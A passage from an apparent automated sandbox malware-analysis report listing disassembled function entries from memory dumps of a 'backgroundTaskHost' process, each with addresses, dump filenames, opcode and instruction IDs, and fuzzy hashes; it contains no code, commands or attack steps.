                  Function 00007FFD348C5979 Relevance: .1, Instructions: 59COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 8f5d7243c72657fb58c476885316f0a8041629512925aedb863134be3fa5df5c
                  • Instruction ID: 5eee6198c48dd5e9f4a24e1d553eb9abfb9651fa14b1fd151ba2860a109e1eed
                  • Opcode Fuzzy Hash: 8f5d7243c72657fb58c476885316f0a8041629512925aedb863134be3fa5df5c
                  • Instruction Fuzzy Hash: BB119030A0965E8FDF95DF2484A92BE7BF1FF5A311F1004BBD409C6192DB399544C780
                  Function 00007FFD348BB318 Relevance: .1, Instructions: 58COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e0313dda591f1e6aa0759a81897409d9f7cbe1d34c8ed18433b0ca3d95b6546b
                  • Instruction ID: 3a662da020d4f9322cccb8b2a4d9e5d1edadaea4daae040ba772a6758ec46b9a
                  • Opcode Fuzzy Hash: e0313dda591f1e6aa0759a81897409d9f7cbe1d34c8ed18433b0ca3d95b6546b
                  • Instruction Fuzzy Hash: 64118630E1860E9EEB90EB6C88A91FD77E5FF4E300F444476D51CD3192DE78A4449780
                  Function 00007FFD348C78B1 Relevance: .1, Instructions: 58COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: deafd9ad27714167607e40400f253a8698ec2a2b50bdd45ddc2b114445c07678
                  • Instruction ID: 390a4e51a07974396b883781533e1019925b83c88f309115517cd3c7f34900b7
                  • Opcode Fuzzy Hash: deafd9ad27714167607e40400f253a8698ec2a2b50bdd45ddc2b114445c07678
                  • Instruction Fuzzy Hash: F711C270A0C64E8FEB41EB7889986BA7BE0FF1A300F0008B7D518C7091DA3CA580D711
                  Function 00007FFD348C1171 Relevance: .1, Instructions: 58COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 89738e6ca0d3ff85ce85a0947da2f56fa1c13c9df18e7b267bb81ef4cf16db14
                  • Instruction ID: 1f7f584c454491eb795339c97d3959703d542df8c46c05fc27f7649bdf67778f
                  • Opcode Fuzzy Hash: 89738e6ca0d3ff85ce85a0947da2f56fa1c13c9df18e7b267bb81ef4cf16db14
                  • Instruction Fuzzy Hash: 5C118270A0864D8FDB55EF6484A92FD7BE0FF1A300F0044BBD919C6192DF399550CB40
                  Function 00007FFD348C8BCA Relevance: .1, Instructions: 58COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: eb5461b287dfeb17c749bc0abced479c44c71f8afae9a423024736c6630dc649
                  • Instruction ID: 5e4a5d386b0b1679a56a5d02339426e4d90c87da0e65fc76f69c442db34ab8e3
                  • Opcode Fuzzy Hash: eb5461b287dfeb17c749bc0abced479c44c71f8afae9a423024736c6630dc649
                  • Instruction Fuzzy Hash: 79118671E4995D8BEBE4DB5888D47E8B7A1FF65301F0005B7C50DE7280DA396D8A9B40
                  Function 00007FFD348C738D Relevance: .1, Instructions: 57COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 97ae2996c7aa5e66233090b5cd08410f147a10f5f28b048f9287f24d1c66dfec
                  • Instruction ID: a27b6b1cf52e146a8dfb7e9a1ed599456c45afe00a999676e5c90235254c71ea
                  • Opcode Fuzzy Hash: 97ae2996c7aa5e66233090b5cd08410f147a10f5f28b048f9287f24d1c66dfec
                  • Instruction Fuzzy Hash: 5311C470A0C54B9FDB59EF2884A52BA7BE0FF56300F4441BBD819C6192DE39A844D781
                  Function 00007FFD348BB248 Relevance: .1, Instructions: 56COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: ade09b9d5ca8382f36e1e2ed0a7e6268490a57796d97fd203805eec7e9301973
                  • Instruction ID: 69f15ca5369f30a008bda95b3fd79dd1a99029b5ef1dd1c86a87596e3ff5607b
                  • Opcode Fuzzy Hash: ade09b9d5ca8382f36e1e2ed0a7e6268490a57796d97fd203805eec7e9301973
                  • Instruction Fuzzy Hash: 63111830A0890E8FDF94EF68C4A8ABE77E0FF29301F10456AE41ED71A1DB74A550CB80
                  Function 00007FFD348C53AD Relevance: .1, Instructions: 56COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 27f2d0f2b2ac3492b833bf470dd53349de0b1d70f8661ed2e4e0585c55ced93b
                  • Instruction ID: b3894bcb5f1963f268223bd2e46438e842526d0ba6a25f4643099f494e97dcf4
                  • Opcode Fuzzy Hash: 27f2d0f2b2ac3492b833bf470dd53349de0b1d70f8661ed2e4e0585c55ced93b
                  • Instruction Fuzzy Hash: 3D110430A0954A4FEF95DB6888A92BE77E0FF16300F4005BBD819C6182DF79A840C741
                  Function 00007FFD348BB5A2 Relevance: .1, Instructions: 55COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e8672b1e597939a6a4e5a5fd6361344141d3f739c6de90b6dc90c08d632f9a5d
                  • Instruction ID: f888a153ddf22f5c5207f6715cd64fb33c8e88c74751d92fba154d7a8ff350e4
                  • Opcode Fuzzy Hash: e8672b1e597939a6a4e5a5fd6361344141d3f739c6de90b6dc90c08d632f9a5d
                  • Instruction Fuzzy Hash: 3C113D70A08A1D4FDBD5DB1C8895BD9B7B1EF69310F1486EA804DD3196CE78A9C18F80
                  Function 00007FFD348C3AC3 Relevance: .1, Instructions: 55COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 12f90d192c7397bec0c7f45829d9a963f28340346a9a7d3726a1337101296600
                  • Instruction ID: 627b169035f4f038df62450e506ad8119e029d6b47d17e85890d21d9be78ea54
                  • Opcode Fuzzy Hash: 12f90d192c7397bec0c7f45829d9a963f28340346a9a7d3726a1337101296600
                  • Instruction Fuzzy Hash: 39119130B0DA8A9FEB52EB7889E91A9BBF0FF16300F0445B7D548C7093DE28A945D741
                  Function 00007FFD348C8105 Relevance: .1, Instructions: 54COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 28e65dabe169dc5af909dcd3d9490dca8739c243252a3a41e49878a66afa4451
                  • Instruction ID: 43045bf87856e5b2f5f978ea9d91ae44b8f4b6f2af6f31fcd7b4549824faf3d1
                  • Opcode Fuzzy Hash: 28e65dabe169dc5af909dcd3d9490dca8739c243252a3a41e49878a66afa4451
                  • Instruction Fuzzy Hash: D0018030A496498FDB99EF24C4A92BABBE0FF5A305F1048BFD509C71D2DE39A841D700
                  Function 00007FFD348C51ED Relevance: .1, Instructions: 54COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6d58cb169dbdccfd46a8a97db76a8bbe0c187eaa07825d7d768cd6c90680c8e0
                  • Instruction ID: 7e4119d095e7d19da73a57aebd36e329486fbfa1de878d0799979e150ff0a580
                  • Opcode Fuzzy Hash: 6d58cb169dbdccfd46a8a97db76a8bbe0c187eaa07825d7d768cd6c90680c8e0
                  • Instruction Fuzzy Hash: D7116D30A0A64A8FEF94EB6488A92B9BAE0FF1A304F0405BBD419D6192DA39A440D701
                  Function 00007FFD348BB26D Relevance: .1, Instructions: 53COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2cfcbea8a22adfb2730e1722bf292c23320495d5a6fd6550c9a5729dd98463bb
                  • Instruction ID: 50827effb3cda6f9e51663104c298d2212f87043440520ea98f5590ca67eff14
                  • Opcode Fuzzy Hash: 2cfcbea8a22adfb2730e1722bf292c23320495d5a6fd6550c9a5729dd98463bb
                  • Instruction Fuzzy Hash: 14116D30A1850E9FEB45EB68C8A92FE77E0FF1A304F1048BED419C6191DF756550CB40
                  Function 00007FFD348D9456 Relevance: .1, Instructions: 53COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: b298f5c200563121bfab0259dbdb583a45f878a95471209064bfc03b875c1a06
                  • Instruction ID: f3c7c4bcc6278d4574d1d743e9637b9e97fc9dabaca220e4e2edad382701538a
                  • Opcode Fuzzy Hash: b298f5c200563121bfab0259dbdb583a45f878a95471209064bfc03b875c1a06
                  • Instruction Fuzzy Hash: A1113070A095598FDB94DB8884A5AB877F1FF66310F04016AD00ED7692CA356845CB00
                  Function 00007FFD348BB240 Relevance: .1, Instructions: 52COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 1ffd5a62cd03f419277c638899574632e225888b538803bec5db2ef45a764098
                  • Instruction ID: d5b7850d909ccc1a1da25fe6a6763eb95cd6f5b07d7440a0b0afad12e9a06d0d
                  • Opcode Fuzzy Hash: 1ffd5a62cd03f419277c638899574632e225888b538803bec5db2ef45a764098
                  • Instruction Fuzzy Hash: 56111774A1890E9FDB94EF68C4986BA77E0FF19305F1008BAE81ED3191DF75A590CB80
                  Function 00007FFD348BAA81 Relevance: .1, Instructions: 52COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 04805db433b48afe97ad8ca81688c3f5c7a16c0755f9f46123905706d27cce23
                  • Instruction ID: 1a36c34b300bc0efe9f36964368d9660b8d6a0a6cd1307ae019fc64158c876aa
                  • Opcode Fuzzy Hash: 04805db433b48afe97ad8ca81688c3f5c7a16c0755f9f46123905706d27cce23
                  • Instruction Fuzzy Hash: F7017C30A1964D8FE751AF7488A82F97BE4FF1A300F4554B6E508C71A2EE38A584DA50
                  Function 00007FFD348D39EC Relevance: .1, Instructions: 52COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 9664337f6a851e8703c176fe77e8c664f5ca3966467567008d9ffb27eb5021fd
                  • Instruction ID: 784897b19d0f0e267b0b68092821d167a66ead51e4bf784c839a9e50d9a8a367
                  • Opcode Fuzzy Hash: 9664337f6a851e8703c176fe77e8c664f5ca3966467567008d9ffb27eb5021fd
                  • Instruction Fuzzy Hash: BE01A752B1ED4A0FE798EBA884B56B5B3D1FF65600F04827BD04FC3196DE39B8458780
                  Function 00007FFD348B05D8 Relevance: .0, Instructions: 50COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 34aa92f959d7fc24a1d83b7abdf48e675185f9503e02f491418fe206ecc08744
                  • Instruction ID: 3b574d5e105ddc713dd966577c3f437245c4d9e775f6ed1465ac0efed94f3dd0
                  • Opcode Fuzzy Hash: 34aa92f959d7fc24a1d83b7abdf48e675185f9503e02f491418fe206ecc08744
                  • Instruction Fuzzy Hash: 83019230A0850D8FDB88EF64C4A96B977E1FF5A345F10447ED41EC6191CE76A550C780
                  Function 00007FFD348B0B15 Relevance: .0, Instructions: 50COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 451685385eb04426adeecd291f35e752425c1babe1cff08baa1c8065f4b02d9a
                  • Instruction ID: 654ca9b23522ed973f0db3d0fecde2fafc25b7062d8e7f50827b7eea4ecf95aa
                  • Opcode Fuzzy Hash: 451685385eb04426adeecd291f35e752425c1babe1cff08baa1c8065f4b02d9a
                  • Instruction Fuzzy Hash: EE019E30E1D64A8FEB51EB6488A85B97BE0FF5B304F4545FAD518C70A2EE78E4409741
                  Function 00007FFD348B2F41 Relevance: .0, Instructions: 50COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 0a8f14ef6b7fed8ba86caecd0420d03eb6c63221d47b18046d3a34972709f77f
                  • Instruction ID: bf7f98567b698ed27d9e69ea0959089fbb74d04f57b6deec6a7cc6ac0219e57a
                  • Opcode Fuzzy Hash: 0a8f14ef6b7fed8ba86caecd0420d03eb6c63221d47b18046d3a34972709f77f
                  • Instruction Fuzzy Hash: 70018430E1D64A8FE761EB6484AD5A97BE0FF1B300F0545F6D908C6192EE78E1509781
                  Function 00007FFD348B2265 Relevance: .0, Instructions: 50COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: bb8e313bfd09de578485bd751904709deb3b8df300dfe771c9719f837d7015d0
                  • Instruction ID: 097b74e49ae7dc588e1d1a0cc024fee9a7fd1e6a74dae0101a357389e809a114
                  • Opcode Fuzzy Hash: bb8e313bfd09de578485bd751904709deb3b8df300dfe771c9719f837d7015d0
                  • Instruction Fuzzy Hash: DE01B130A0D6499FE751EB3484AD1ADBBE0FF1B300F0148B6D508C7092EE79E444D780
                  Function 00007FFD348C26F1 Relevance: .0, Instructions: 49COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f56f76c7b7f7be24560465fe743a2965de92f9f91588404b1e6ddc2d3d76e3a6
                  • Instruction ID: 214b739fd8eba1ba86fc1f277f59b90a853cdf2aa9d37fa228bd6345dc76391c
                  • Opcode Fuzzy Hash: f56f76c7b7f7be24560465fe743a2965de92f9f91588404b1e6ddc2d3d76e3a6
                  • Instruction Fuzzy Hash: 12019E30E496494FDB59EB64C5A92B9BBA0FF16300F5144BAD509C60E2DF2AA850C700
                  Function 00007FFD348BB230 Relevance: .0, Instructions: 47COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 5de53cd4cb43c14adf256c2dd9f9057e9162433ea0bf9bf0a75de7ab30b6336b
                  • Instruction ID: 70ce8f77138fe59255c24c64e411444f0c63a25efc36415db85abd19890b243a
                  • Opcode Fuzzy Hash: 5de53cd4cb43c14adf256c2dd9f9057e9162433ea0bf9bf0a75de7ab30b6336b
                  • Instruction Fuzzy Hash: DB011A30A1890E9EEB94EF68C4A92BE77E0FF19305F50087EE91ED2191DFB5A550D780
                  Function 00007FFD348D3586 Relevance: .0, Instructions: 47COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: eb1f36f0886c19bb486e8546f3ad82ba9b5333598cd7b02e6f711d7079b80417
                  • Instruction ID: b7226fdd3fcca2a9184119d4d73e5307c8bc04222b1f7d981dccb1d05bada76d
                  • Opcode Fuzzy Hash: eb1f36f0886c19bb486e8546f3ad82ba9b5333598cd7b02e6f711d7079b80417
                  • Instruction Fuzzy Hash: 5B013672B5EA488FDB58F768E4916EC77E0EF4A325F00017AE14ED2293DA2968428741
                  Function 00007FFD348D3F59 Relevance: .0, Instructions: 47COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f1ddbf9e7c12980b84538f242eeb6d2a7d852bb8a21bb5a314c6b8a1184b5295
                  • Instruction ID: 82afe0bf84c48ceff4fe9b841fe9148d96e7011b223fe9928fe9ee85b5c8c0c1
                  • Opcode Fuzzy Hash: f1ddbf9e7c12980b84538f242eeb6d2a7d852bb8a21bb5a314c6b8a1184b5295
                  • Instruction Fuzzy Hash: 0501843171AA098FD764EB68D0605A5B3E1FF56314B504B79D44EC35D2CE39F845D780
                  Function 00007FFD348B291D Relevance: .0, Instructions: 46COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 39ae950aa6d1cde2146f804c7459917cc5b15998138b89318f02c1bbb8489d68
                  • Instruction ID: be8d0f78ec2cf485e269fafeacfd9f226b749231a24fbb3ef549b54a6a47f530
                  • Opcode Fuzzy Hash: 39ae950aa6d1cde2146f804c7459917cc5b15998138b89318f02c1bbb8489d68
                  • Instruction Fuzzy Hash: 6B015E31A1D64A5EE752AB2888A9AB97BE0EF1A300F4145B6D50CC60A2EE78E544D681
                  Function 00007FFD348BB238 Relevance: .0, Instructions: 46COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: d7ed75c5839137a856fc8e7e67c8cb69fe1f28cc8e569fc688585608738c861b
                  • Instruction ID: 12aef141090e81f71ae7f097e0b9cac94dde402eb4ab8df73abdceb66aa01bb0
                  • Opcode Fuzzy Hash: d7ed75c5839137a856fc8e7e67c8cb69fe1f28cc8e569fc688585608738c861b
                  • Instruction Fuzzy Hash: D1018F30A5890E9FEB59EF24C4A52FA37A1FF59304F50447EE41EC2195CF79A550D780
                  Function 00007FFD348E2138 Relevance: .0, Instructions: 45COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 0f08fde2329fe135e210179185289038b3094c4dc3b2ae6573c10ce0bd8cf72f
                  • Instruction ID: 6e9a27eaca57836fb3abeb545a073225faf1ff89e5e4918a1d6951f8282eee39
                  • Opcode Fuzzy Hash: 0f08fde2329fe135e210179185289038b3094c4dc3b2ae6573c10ce0bd8cf72f
                  • Instruction Fuzzy Hash: CA016271E1C94E8EEF599BA898A11FF77E1FF8A340F040175D70AE2180DE2E36509751
                  Function 00007FFD348C7A39 Relevance: .0, Instructions: 44COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 88752cf2f3287aa3d3981d0397b7dfc4b9ec07bbc07e9edc719a2c9f1faa7479
                  • Instruction ID: eaa6c0842b58db9797e0de4e7037b6b34c11adf444953b3d4ae9ac45460017ec
                  • Opcode Fuzzy Hash: 88752cf2f3287aa3d3981d0397b7dfc4b9ec07bbc07e9edc719a2c9f1faa7479
                  • Instruction Fuzzy Hash: B701A274A5D64A5FE751EB74C9992A9BBE0FF0A300F0549F3D408C70A2DE3CA584C701
                  Function 00007FFD348B2FB9 Relevance: .0, Instructions: 43COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: d0aad99e1f74c84b6c675e65bc996fbf41de4c77725b5b9c4c6e7bade09ae924
                  • Instruction ID: 2c7b783f2ee8e9cadbff3937994521dc91b23717d31df25a8831fea7e68bc629
                  • Opcode Fuzzy Hash: d0aad99e1f74c84b6c675e65bc996fbf41de4c77725b5b9c4c6e7bade09ae924
                  • Instruction Fuzzy Hash: 09018430A4D6495FE752EB7488AD5A97BE0FF06300F0548F2D909C70A2EE68A444D781
                  Function 00007FFD348E00FB Relevance: .0, Instructions: 43COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: facbe6aaef4779a4a9f7d117a6aa49908497ef17ca38d574049363d4884bd6e2
                  • Instruction ID: 8b6d6b3c1a00216adfcef8243e294d3d9b9ff5642f16c2fe9c211db40422c4b6
                  • Opcode Fuzzy Hash: facbe6aaef4779a4a9f7d117a6aa49908497ef17ca38d574049363d4884bd6e2
                  • Instruction Fuzzy Hash: 33011E71A0855D8FDF98DF58C4B0AA87BB1FF66305F0804ADD00DE7292DE35A981DB40
                  Function 00007FFD348B1CAD Relevance: .0, Instructions: 42COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: aff011c54e5251fabd98040bd254c510c8d8eab5c6239fe8592a0a95fc36c328
                  • Instruction ID: 21fe9c3618d98a2a790790daeb4f32888f27ca25ed13506964f6b7723347d88d
                  • Opcode Fuzzy Hash: aff011c54e5251fabd98040bd254c510c8d8eab5c6239fe8592a0a95fc36c328
                  • Instruction Fuzzy Hash: C901D631A0964D8FDB55DF2488A52BA3BE0FF56300F5010B9D909C6182CF79D451D780
                  Function 00007FFD348B0610 Relevance: .0, Instructions: 42COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 24e611606255021df0560769691cd84b7c4ae48c3763d73e2e05c66851a07a1b
                  • Instruction ID: 04bf1132bebbecee2cd5165eaa877999590eb640ccfe81704ea3bb0d04be880d
